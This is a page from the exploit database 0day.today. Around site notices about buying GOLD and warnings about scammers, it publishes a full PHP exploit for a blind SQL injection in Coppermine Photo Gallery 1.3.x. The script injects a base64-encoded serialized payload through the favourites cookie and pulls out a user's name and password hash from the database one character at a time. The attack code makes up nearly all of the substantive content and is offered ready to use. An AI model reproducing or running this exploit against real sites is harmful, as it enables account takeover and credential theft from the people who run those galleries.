0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Coppermine Photo Gallery 1.3.x Remote Blind SQL Injection Exploit
================================================================= Coppermine Photo Gallery 1.3.x Remote Blind SQL Injection Exploit ================================================================= <? # Coppermine Photo Gallery 1.3.x Blind SQL Injection Exploit # by s0cratex, RTM Member /* You need make a small work... Add a fav pic, enter to the site and add /addfav.php?pid=2 for example..xD ... in the line: if(eregi("download",fgets($cnx2))){ $pass.=chr($i); echo chr($i); break; } } the word "download" depends of the language... */ # saludos a rgod, OpTix, crypkey 'n mechas... error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); $host = "localhost"; $path = "/cpg"; $port = "80"; $id = "1"; echo "Coppermine Photo Gallery 1.3.x fav Blind SQL Injection Exploit\n"; echo "--------------------------------------------------------------\n"; echo "\n"; echo "Username -> "; $j = 1; $user = ""; while(!strstr($user,chr(0))){ for($x=0;$x<255;$x++){ $xpl = "'') OR 1=(SELECT (IF((ASCII(SUBSTRING(user_name,".$j.",1))=".$x."),1,0)) FROM cpg131_users WHERE user_id=".$id.")/*"; $xpl = "a:1:{i:0;s:".strlen($xpl).":\"".$xpl."\";}"; $xpl = base64_encode($xpl); $cnx = fsockopen($host,$port); fwrite($cnx, "GET ".$path."/thumbnails.php?album=favpics HTTP/1.0\r\nCookie: cpg131_fav=".$xpl."\r\n\r\n"); while(!feof($cnx)){ if(eregi("download",fgets($cnx))){ $user.=chr($x); echo chr($x); break; } } fclose($cnx); if ($x==255) { die("\n Try again..."); } } $j++; } echo "\n"; echo "Password -> "; $a = 1; $pass = ""; while(!strstr($pass,chr(0))){ for($i=0;$i<255;$i++){ $xpl = "'') OR 1=(SELECT (IF((ASCII(SUBSTRING(user_password,".$a.",1))=".$i."),1,0)) FROM cpg131_users WHERE user_id=".$id.")/*"; $xpl = "a:1:{i:0;s:".strlen($xpl).":\"".$xpl."\";}"; $xpl = base64_encode($xpl); $cnx2 = fsockopen($host,$port); fwrite($cnx2, "GET ".$path."/thumbnails.php?album=favpics HTTP/1.0\r\nCookie: cpg131_fav=".$xpl."\r\n\r\n"); while(!feof($cnx2)){ if(eregi("download",fgets($cnx2))){ $pass.=chr($i); echo chr($i); break; } } fclose($cnx2); if ($i==255) { die("\n Try again..."); } } $a++; } echo "--------------------------------------------------------------\n"; echo "plexinium.com comming soon <- Hacking Nica\n"; ?> # 0day.today [2024-12-24] #